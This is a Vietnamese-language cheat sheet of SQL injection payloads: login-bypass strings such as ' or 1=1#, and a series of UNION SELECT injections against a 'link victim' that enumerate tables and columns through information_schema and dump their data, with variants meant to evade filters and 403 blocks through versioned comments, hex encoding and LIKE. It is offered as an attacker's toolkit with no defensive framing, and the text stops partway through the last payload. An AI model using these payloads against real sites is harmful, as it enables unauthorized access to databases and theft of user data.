Tổng hợp lệnh sql

Tổng hợp vài câu lệnh check sqli
Bypass Login Administrator

Username:user ' or 1=1#
Password:pass ' or 1=1#
User: admin'
Pass: or '1'='1
Tìm mã Hex Table:

Encode Mã Hex Table: http://convertstring.com/EncodeDecode/HexEncode
<~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>
Encode:~~~> http://www.base64encode.org/
Decode: ~~~> http://www.base64decode.org/

------------------------------------ ***Dạng Basic "and=0":
**Order lỗi : id=123 and=0 UNION SELECT 1,2-- -
Get table,column,data như bt thêm "and=0" sau id.
---------------------------------------------------------------------------

***********Dạng /*!Union*/ /*!Select*/ :
**Tìm Order lỗi :link victim+null(-null,-id) /*!Union*/ /*!Select*/ 1,2,3...-- - **Get database :link victim+ /*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!table_name*/) from information_schema./*!tables*/ where table_schema=database()-- -
**Get Colum:link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!column_name*/) 4,5... from information_schema./*!columns*/ where /*!table_name*/=0x+mã hex table-- -
**Get data :link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!tên cột,0x7c,tên cột,0x7c,tên cột,0x7c*/) from tên table-- -
-----------------------------------------------------------------

**********Bypass nâng cao dạng /*!Union*/ /*!Select*/ loại ẩn:
***Order lỗi : id=-... /*!Union*/ /*!Select*/ 1,2,3...-- -
***Get database :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
***Get table :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
***Get column:id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!column_name*/))),3 from information_schema./*!columns*/ where /*!table_name*/=0x...()-- -
***Get data :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!tên cột,0x7c,tên cột,0x7c*/))),3 from table -- -
----------------------------------------------------------------

***************Dạng Bypass "=" chặn + ẩn :
***Order lỗi :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4-- -
***Get database:id=-..../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000table_name*/))),4 from information_schema. /*!50000tables*/ where /*!50000table_schema*/+like+database()-- -
***Get column:id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000column_name*/))),4 from information_schema. /*!50000columns*/ where /*!50000table_name*/+like+0x...()-- -
***Get Data :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000tên cột,0x7c,tên cột,0x7c*/))),4 from table-- -
-----------------------------------------------------------------------

********************Dạng Bypass 403 limit ***(Khó)
+++Order lỗi :id=-1'+/*!50000union+select*/+1,2,3,4 -- -
+++Get table:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1-- - ( Để biết thêm table tăng limit lên 1,1-2,1-3,1...)
+++Get column:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,column_name)+from+information_schema.columns+where+table_name=0x...+limit+1,1-- -(Tăng limit)
+++Get data :id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,tên cột,tên cột)+from+tên table -- -
--------------------------------------------------------------------------------------------

----------------------------------Bypass 403 limit ****(cực kì khó)*****
***Tìm order lỗi :id=-1+/*!50000union+select*/+1,2,3-- -
***Get table:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,table_name)))+from+/*!information_schema*/.tables+where+table_schema=database()+limit+0,1-- -
***Get column:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,column_name)))+from+/*!information_schema*/.columns+where+table_name=0x...+limit+0,1-- -
***Get data:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,tên cột,tên cột))*/)+fro

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